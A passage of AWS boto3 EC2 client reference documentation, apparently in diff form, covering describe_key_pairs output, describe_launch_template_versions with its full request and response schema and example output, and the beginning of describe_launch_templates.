+* _(dict) --_ + + * **KeyPairs** _(list) --_ + + Information about the key pairs. + + * _(dict) --_ + + Describes a key pair. + + * **KeyPairId** _(string) --_ + + The ID of the key pair. + + * **KeyFingerprint** _(string) --_ + + If you used CreateKeyPair to create the key pair, this is the SHA-1 digest of the DER encoded private key. If you used ImportKeyPair to provide AWS the public key, this is the MD5 public key fingerprint as specified in section 4 of RFC4716. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **Tags** _(list) --_ + + Any tags applied to the key pair. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example displays the fingerprint for the specified key. + +response = client.describe_key_pairs( + KeyNames=[ + 'my-key-pair', + ], +) + +print(response) + +Expected Output: + +{ + 'KeyPairs': [ + { + 'KeyFingerprint': '1f:51:ae:28:bf:89:e9:d8:1f:25:5d:37:2d:7d:b8:ca:9f:f5:f1:6f', + 'KeyName': 'my-key-pair', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_launch_template_versions(kwargs_) + +Describes one or more versions of a specified launch template. You can describe all versions, individual versions, or a range of versions. You can also describe all the latest versions or all the default versions of all the launch templates in your account. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLaunchTemplateVersions) + +**Request Syntax** + +response = client.describe_launch_template_versions( + DryRun=True|False, + LaunchTemplateId='string', + LaunchTemplateName='string', + Versions=[ + 'string', + ], + MinVersion='string', + MaxVersion='string', + NextToken='string', + MaxResults=123, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **LaunchTemplateId** (_string_) -- The ID of the launch template. To describe one or more versions of a specified launch template, you must specify either the launch template ID or the launch template name in the request. To describe all the latest or default launch template versions in your account, you must omit this parameter. +* **LaunchTemplateName** (_string_) -- The name of the launch template. To describe one or more versions of a specified launch template, you must specify either the launch template ID or the launch template name in the request. To describe all the latest or default launch template versions in your account, you must omit this parameter. +* **Versions** (_list_) -- + + One or more versions of the launch template. Valid values depend on whether you are describing a specified launch template (by ID or name) or all launch templates in your account. + + To describe one or more versions of a specified launch template, valid values are $Latest , $Default , and numbers. + + To describe all launch templates in your account that are defined as the latest version, the valid value is $Latest . To describe all launch templates in your account that are defined as the default version, the valid value is $Default . You can specify $Latest and $Default in the same call. You cannot specify numbers. + + * _(string) --_ +* **MinVersion** (_string_) -- The version number after which to describe launch template versions. +* **MaxVersion** (_string_) -- The version number up to which to describe launch template versions. +* **NextToken** (_string_) -- The token to request the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 1 and 200. +* **Filters** (_list_) -- + + One or more filters. + + * create-time - The time the launch template version was created. + * ebs-optimized - A boolean that indicates whether the instance is optimized for Amazon EBS I/O. + * iam-instance-profile - The ARN of the IAM instance profile. + * image-id - The ID of the AMI. + * instance-type - The instance type. + * is-default-version - A boolean that indicates whether the launch template version is the default version. + * kernel-id - The kernel ID. + * ram-disk-id - The RAM disk ID. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LaunchTemplateVersions': [ + { + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'VersionNumber': 123, + 'VersionDescription': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'CreatedBy': 'string', + 'DefaultVersion': True|False, + 'LaunchTemplateData': { + 'KernelId': 'string', + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'Encrypted': True|False, + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'KmsKeyId': 'string', + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'Throughput': 123 + }, + 'NoDevice': 'string' + }, + ], + 'NetworkInterfaces': [ + { + 'AssociateCarrierIpAddress': True|False, + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'InterfaceType': 'string', + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'NetworkCardIndex': 123 + }, + ], + 'ImageId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KeyName': 'string', + 'Monitoring': { + 'Enabled': True|False + }, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string', + 'PartitionNumber': 123 + }, + 'RamDiskId': 'string', + 'DisableApiTermination': True|False, + 'InstanceInitiatedShutdownBehavior': 'stop'|'terminate', + 'UserData': 'string', + 'TagSpecifications': [ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'ElasticGpuSpecifications': [ + { + 'Type': 'string' + }, + ], + 'ElasticInferenceAccelerators': [ + { + 'Type': 'string', + 'Count': 123 + }, + ], + 'SecurityGroupIds': [ + 'string', + ], + 'SecurityGroups': [ + 'string', + ], + 'InstanceMarketOptions': { + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + 'CreditSpecification': { + 'CpuCredits': 'string' + }, + 'CpuOptions': { + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + 'CapacityReservationSpecification': { + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + 'LicenseSpecifications': [ + { + 'LicenseConfigurationArn': 'string' + }, + ], + 'HibernationOptions': { + 'Configured': True|False + }, + 'MetadataOptions': { + 'State': 'pending'|'applied', + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + 'EnclaveOptions': { + 'Enabled': True|False + } + } + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **LaunchTemplateVersions** _(list) --_ + + Information about the launch template versions. + + * _(dict) --_ + + Describes a launch template version. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **VersionNumber** _(integer) --_ + + The version number. + + * **VersionDescription** _(string) --_ + + The description for the version. + + * **CreateTime** _(datetime) --_ + + The time the version was created. + + * **CreatedBy** _(string) --_ + + The principal that created the version. + + * **DefaultVersion** _(boolean) --_ + + Indicates whether the version is the default version. + + * **LaunchTemplateData** _(dict) --_ + + Information about the launch template. + + * **KernelId** _(string) --_ + + The ID of the kernel, if applicable. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. + + * **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + + * **BlockDeviceMappings** _(list) --_ + + The block device mappings. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name. + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeralN). + + * **Ebs** _(dict) --_ + + Information about the block device for an EBS volume. + + * **Encrypted** _(boolean) --_ + + Indicates whether the EBS volume is encrypted. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS) that the volume supports. + + * **KmsKeyId** _(string) --_ + + The ARN of the AWS Key Management Service (AWS KMS) CMK used for encryption. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiB. + + * **VolumeType** _(string) --_ + + The volume type. + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + + * **NetworkInterfaces** _(list) --_ + + The network interfaces. + + * _(dict) --_ + + Describes a network interface. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to associate a Carrier IP address with eth0 for a new network interface. + + Use this option when you launch an instance in a Wavelength Zone and want to associate a Carrier IP address with the network interface. For more information about Carrier IP addresses, see [Carrier IP addresses](https://docs.aws.amazon.com/wavelength/latest/developerguide/how-wavelengths-work.html#provider-owned-ip) in the _AWS Wavelength Developer Guide_ . + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to associate a public IPv4 address with eth0 for a new network interface. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + * **Description** _(string) --_ + + A description for the network interface. + + * **DeviceIndex** _(integer) --_ + + The device index for the network interface attachment. + + * **Groups** _(list) --_ + + The IDs of one or more security groups. + + * _(string) --_ + * **InterfaceType** _(string) --_ + + The type of network interface. + + * **Ipv6AddressCount** _(integer) --_ + + The number of IPv6 addresses for the network interface. + + * **Ipv6Addresses** _(list) --_ + + The IPv6 addresses for the network interface. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + * **PrivateIpAddress** _(string) --_ + + The primary private IPv4 address of the network interface. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses for the network interface. + + * **SubnetId** _(string) --_ + + The ID of the subnet for the network interface. + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + * **ImageId** _(string) --_ + + The ID of the AMI that was used to launch the instance. + + * **InstanceType** _(string) --_ + + The instance type. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **Enabled** _(boolean) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + * **Placement** _(dict) --_ + + The placement of the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. + + * **GroupName** _(string) --_ + + The name of the placement group for the instance. + + * **HostId** _(string) --_ + + The ID of the Dedicated Host for the instance. + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance should launch in. Valid only if the placement group strategy is set to partition . + + * **RamDiskId** _(string) --_ + + The ID of the RAM disk, if applicable. + + * **DisableApiTermination** _(boolean) --_ + + If set to true , indicates that the instance cannot be terminated using the Amazon EC2 console, command line tool, or API. + + * **InstanceInitiatedShutdownBehavior** _(string) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + * **UserData** _(string) --_ + + The user data for the instance. + + * **TagSpecifications** _(list) --_ + + The tags. + + * _(dict) --_ + + The tag specification for the launch template. + + * **ResourceType** _(string) --_ + + The type of resource. + + * **Tags** _(list) --_ + + The tags for the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **ElasticGpuSpecifications** _(list) --_ + + The elastic GPU specification. + + * _(dict) --_ + + Describes an elastic GPU. + + * **Type** _(string) --_ + + The elastic GPU type. + + * **ElasticInferenceAccelerators** _(list) --_ + + The elastic inference accelerator for the instance. + + * _(dict) --_ + + Describes an elastic inference accelerator. + + * **Type** _(string) --_ + + The type of elastic inference accelerator. The possible values are eia1.medium, eia1.large, and eia1.xlarge. + + * **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + + * **SecurityGroupIds** _(list) --_ + + The security group IDs. + + * _(string) --_ + * **SecurityGroups** _(list) --_ + + The security group names. + + * _(string) --_ + * **InstanceMarketOptions** _(dict) --_ + + The market (purchasing) option for the instances. + + * **MarketType** _(string) --_ + + The market type. + + * **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + * **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. + + * **SpotInstanceType** _(string) --_ + + The Spot Instance request type. + + * **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + * **ValidUntil** _(datetime) --_ + + The end date of the request. For a one-time request, the request remains active until all instances launch, the request is canceled, or this date is reached. If the request is persistent, it remains active until it is canceled or this date and time is reached. + + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. + + * **CreditSpecification** _(dict) --_ + + The credit option for CPU usage of the instance. + + * **CpuCredits** _(string) --_ + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + + * **CpuOptions** _(dict) --_ + + The CPU options for the instance. For more information, see [Optimizing CPU Options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. + + * **CapacityReservationSpecification** _(dict) --_ + + Information about the Capacity Reservation targeting option. + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the targeted Capacity Reservation. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the targeted Capacity Reservation group. + + * **LicenseSpecifications** _(list) --_ + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + * **HibernationOptions** _(dict) --_ + + Indicates whether an instance is configured for hibernation. For more information, see [Hibernate Your Instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **Configured** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for hibernation; otherwise, it is not enabled for hibernation. + + * **MetadataOptions** _(dict) --_ + + The metadata options for the instance. For more information, see [Instance Metadata and User Data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + * **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + * **EnclaveOptions** _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. + + * **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the versions for the specified launch template. + +response = client.describe_launch_template_versions( + LaunchTemplateId='068f72b72934aff71', +) + +print(response) + +Expected Output: + +{ + 'LaunchTemplateVersions': [ + { + 'CreateTime': datetime(2017, 11, 20, 13, 12, 32, 0, 324, 0), + 'CreatedBy': 'arn:aws:iam::123456789102:root', + 'DefaultVersion': False, + 'LaunchTemplateData': { + 'ImageId': 'ami-6057e21a', + 'InstanceType': 't2.medium', + 'KeyName': 'kp-us-east', + 'NetworkInterfaces': [ + { + 'DeviceIndex': 0, + 'Groups': [ + 'sg-7c227019', + ], + 'SubnetId': 'subnet-1a2b3c4d', + }, + ], + }, + 'LaunchTemplateId': 'lt-068f72b72934aff71', + 'LaunchTemplateName': 'Webservers', + 'VersionNumber': 2, + }, + { + 'CreateTime': datetime(2017, 11, 20, 12, 52, 33, 0, 324, 0), + 'CreatedBy': 'arn:aws:iam::123456789102:root', + 'DefaultVersion': True, + 'LaunchTemplateData': { + 'ImageId': 'ami-aabbcc11', + 'InstanceType': 't2.medium', + 'KeyName': 'kp-us-east', + 'NetworkInterfaces': [ + { + 'AssociatePublicIpAddress': True, + 'DeleteOnTermination': False, + 'DeviceIndex': 0, + 'Groups': [ + 'sg-7c227019', + ], + 'SubnetId': 'subnet-7b16de0c', + }, + ], + 'UserData': '', + }, + 'LaunchTemplateId': 'lt-068f72b72934aff71', + 'LaunchTemplateName': 'Webservers', + 'VersionNumber': 1, + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_launch_templates(kwargs_) + +Describes one or more launch templates. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLaunchTemplates) + +**Request Syntax** + +response = client.describe_launch_templates( + DryRun=True|False, + LaunchTemplateIds=[ + 'string', + ], + LaunchTemplateNames=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **LaunchTemplateIds** (_list_) -- + + One or more launch template IDs. + + * _(string) --_ +* **LaunchTemplateNames** (_list_) -- + + One or more launch template names. + + * _(string) --_ +* **Filters** (_list_) -- + 